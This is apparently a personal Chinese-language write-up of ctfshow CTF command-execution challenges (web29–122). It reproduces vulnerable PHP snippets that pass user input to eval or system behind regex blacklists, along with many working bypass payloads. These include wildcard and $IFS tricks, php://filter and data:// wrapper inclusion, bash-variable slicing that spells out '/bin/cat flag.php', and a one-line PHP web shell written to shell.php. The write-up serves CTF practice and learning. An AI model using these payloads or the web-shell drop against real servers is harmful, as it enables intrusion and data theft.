最近和朋友一起入了ctf show的坑,在这里记录一下刷题过程以及从大佬那里学到的姿势。
ctfshow
命令执行
web29(通配符)
需要得到flag.php里的内容,但是flag被过滤了。
这题考察的知识点是通配符,这篇博客有具体的介绍:通配符和正则的区别。
例如构造: ?c=system('cat f*');
*
可以匹配 0 或多个字符,?
可以匹配任意一个字符。
cat f*
就可以打开当前目录下所有f开头的文件。
然后查看源码得到flag
web30(反引号执行系统命令)
这题过滤了flag、system、php
三个字符串,上一题的payload就不适用了。
可以利用反引号执行系统命令,如:
?c=echo `cat f*`;
?c=echo `cat f???????`;
web31
这题过滤的更多(包括空格):
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
我是想不出有什么好用的办法了,参考hint和大佬的博客,payload1:
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
其中第二个姿势的解析:
①:print_r(scandir(dirname(__FILE__)));
查看当前目录下文件
②:print_r(next(array_reverse(scandir(dirname(__FILE__)))));
找到flag.php
③:highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
最后高亮显示
payload2:
这里的姿势正常一些,都是针对过滤的绕过(师傅们tql)。
cat被过滤时
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看 file -f:报错出具体内容 grep
1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
空格被过滤时
1. ${IFS}替换
2. $IFS$1替换
3. ${IFS替换
4. %20替换
5. <和<>重定向符替换
6. %09替换
7. 拼接(很强) 如:?ip=1;a=g;cat$IFS$1fla$a.php; (flag被过滤时)
大佬们的姿势:
?c=eval($_GET[1]);&1=system('nl flag.php');
?c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=echo(`nl%09fl[abc]*`);
?c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system()
?c=echo`strings%09f*`;
?c=echo`strings\$IFS\$9f*`必须加转义字符
?c=echo(`more%09f*`);
web32
在31题的基础上又过滤了
` ; echo (
分号可以用?>
绕过,括号用""
绕过,再配合$
和伪协议的姿势:
?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
试了一下发现不带这个双引号也行:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
执行后得到一串base64密文,解码得到flag
web33-36
33题把"
也过滤了
34题又多过滤了一个:
35题又过滤了=
和<
可以一把梭:
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
36题多过滤了/
和数字,把1换成一个字母就行。
web37(data伪协议)
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
过滤了flag,还进行了include文件包含,使用data伪协议。
1,写入一句话:
?c=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['hack']);?>")?>
然后蚁剑连接即可(https://url/shell.php)
2,读取
?c=data:text/plain,<?php system('cat f*')?> #过滤了flag,这样构造相当于直接读取了flag.php
web38
这题把flag、file、php都过滤了,需要在37的姿势上变化一下。
(base64加密后)
data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
查看源码得到flag
web39
过滤了flag,限制了后缀(.php)
姿势和37一样
?c=data:text/plain,<?php system('cat f*')?>
web40
好家伙,直接过滤一堆
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
可以使用无参数函数进行文件读取,payload同31题。
web41(未解出)
web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这题可以直接
?c=ls;
?c=cat flag.php;
群主给的提示是cat flag.php%0a
,用%0a
让那后面那串东西无效。
web43
过滤了;
和cat
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
这题其实姿势挺多的,被过滤的cat
可以用很多其他命令替换,末尾再%0a
截断。
?c=nl flag.php%0a
?c=tac flag.php%0a
?c=more flag.php%0a
web44
在web43的基础上多过滤了一个flag
,只要在之前的payload基础上使用通配符即可。
?c=nl f*%0a
?c=tac f*%0a
?c=more f*%0a
web45
又多过滤了一个空格,参考web31中空格的绕过方法,把空格替换即可。
web46
过滤了;
、cat
、flag
、空格
、数字
、$
、*
。
payload:
?c=nl%09fla?????%0a
web47-49
payload
?c=nl%09fla?????%0a
web50
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
%09
和通配符不好使了,用重定向符<
或<>
替换%09
,用""
''
\
绕过对flag
的限制,也可以用 ||
代替%0a
(||默认前面前面执行成功就不执行后面)。
?c=nl<>fla''g.php%0a
?c=nl<>fla""g.php%0a
?c=nl<fla''g.php%0a
?c=nl<>fla''g.php||
?c=nl<>fla\g.php%0a
web51
payload同web50
web52
很多替换空格的字符被过滤了,但是$
没有被过滤,所以在web50的基础上把空格换成$IFS
即可
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
web53
少了一些限制,不需要在末尾进行命令分割了。
web54
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
正则的过滤更加严格了
grep
grep test *file
在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
payload1:
?c=grep${IFS}'{'${IFS}fl???php #查找含有{的文件,并打印出包含 { 的这一行
bin目录
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等。
payload2:
/bin/?at${IFS}f???????
web55-56
不会做,参考大佬博客:
https://blog.csdn.net/qq_46091464/article/details/108513145
https://blog.csdn.net/qq_46091464/article/details/108557067
web57
这题是让我们在限制条件之下构造36这个数字。
<?php
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
这里是学习的Y4大佬的思路,利用$(( ))与整数运算
。
$(())------是-1
$((~37))------是36
所以我们只需要保证中间是-37即可,
$((~$(())$(())))---是1
所以
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))代表36,即可获取flag
群主还给了另一种姿势:
?c=grep${IFS}'fla'${IFS}fla??php
web58-65(绕过disable_functions系列)
从58开始是绕过disable_functions系列
通用payload:
c=echo highlight_file('flag.php');
c=show_source("flag.php");
c=highlight_file("flag.php");
还可以用web31中的payload1里的姿势
web66-67
首先扫目录(web67中print_r被禁了,换成var_dump),发现有flag.txt
,然后:
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
c=highlight_file('/flag.txt');
web68-70
show_source
、highlight_file
、file_get_contents
等文本显示的代码基本都被禁了,所以换成include
、require
这些文件包含的。payload:
c=include('/flag.txt')
c=require_once('/flag.txt');
web71(缓冲区)
附件index.php的内容:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
啊这,原来是翅膀师傅出的题。。。
函数解释:
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
绕过思路:执行php代码让后面的匹配缓冲区不执行直接退出
payload:
c=include('/flag.txt');exit(0);
c=require_once('/flag.txt');exit();
web118(Bash的内置变量绕过)
flag in flag.php
这题还给了两个hint:
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???
#其他师傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???
原理
很明显,图片是给解题思路,下面的是把payload放出来了,两者结合起来分析一下。
利用~
获取变量的最后几位,如下:
如上图:~0是获取最后一位, ~1是获取最后两位,除了数字,也可以使用字母。
大小写字母均可,效果都是获取最后一位,等同于数字0。
还要配合一下$PWD, echo $PWD会输出当前目录名
解题
知道原理了,开环境,简单手动fuzz一下,发现数字和小写字母被过滤了,用上面的原理构造,结合题目给的图片。
注意两个细节
一般$PATH是以bin结尾的,所以 ${PATH:~A}一般是n
注意到当前目录是/var/www/html,也就是${PWD:~A}是l
所以${PATH:~A}${PWD:~A}
就是nl,再配合通配符即可,因为*
被过滤了,所以用?
code=${PATH:~A}${PWD:~A} ????.???
关于上面两个payload,也解释一下。
这里有两个知识点
${变量}是变量的值,echo ${变量}会直接输出变量
${#变量}是变量的长度,echo ${#变量}会输出变量的长度值
还有一个就是切片操作,但是因为数字被过滤了,大写字母只能等效数字0,所以就需要用到${#变量},配合之后可以达到切片的效果。
关于SHLVL
,只需要知道它的长度默认是1,即 ${#SHLVL}=1
,然后利用这一点,${PATH:13:1}输出的就是 ${PATH}第13位的值
关于RANDOM
, ${#RANDOM}的值(产生随机数的位数)一般是1-5,不过4和5的概率更大
web119
依旧是两个hint,除了上题给的图片外,还有
${HOME:${#HOSTNAME}:${#SHLVL}} ====> t
${PWD:${Z}:${#SHLVL}} ====> /
/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
在上一题的基础上过滤了PATH
和BASH
,重点是构造出flag的位置在/bin/base64 flag.php
由上题可知,${#RANDOM}的值大概率是4或5,这就构造出4了
${#SHLVL}的值是1,所以${PWD::${#SHLVL}}的值是/
所以有两个思路:
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
等效于code=/bin/base64 flag.php
因为${#RANDOM}的值不一定是4,所以可能要多试几次
结合提示,还有
code=${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
等效于code=/bin/cat flag.php
web120
直接给了源码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
过滤了很多东西,还限制了长度,可以用上题的第一个payload
看一下预期解${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
其实构造的结果也是/bin/cat flag.php
,只不过这里用的是${USER:~A},这也说明了 ${USER:}的最后一位是a
web121
过滤的更多了
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
注意到前面一直在用的SHLVL
也被过滤了,所以得换个方法代替1,测试发现${##}
和 ${#?}
可以
看一下预期解
code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
/bin/rev
等效于code=/bin/rev flag.php
${#IFS}的默认长度是3
, ${PWD:${#IFS}:${#?}}
的值是r
,这里用到的是rev命令
,它会倒序输出,效果如下
web122
PWD也给禁了…没思路了,直接看羽师傅的wp
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>
这题利用了$?
$?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误
payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???
要${RANDOM::$?}
的值为4,所以需要不断刷新,因为一次可能成功不了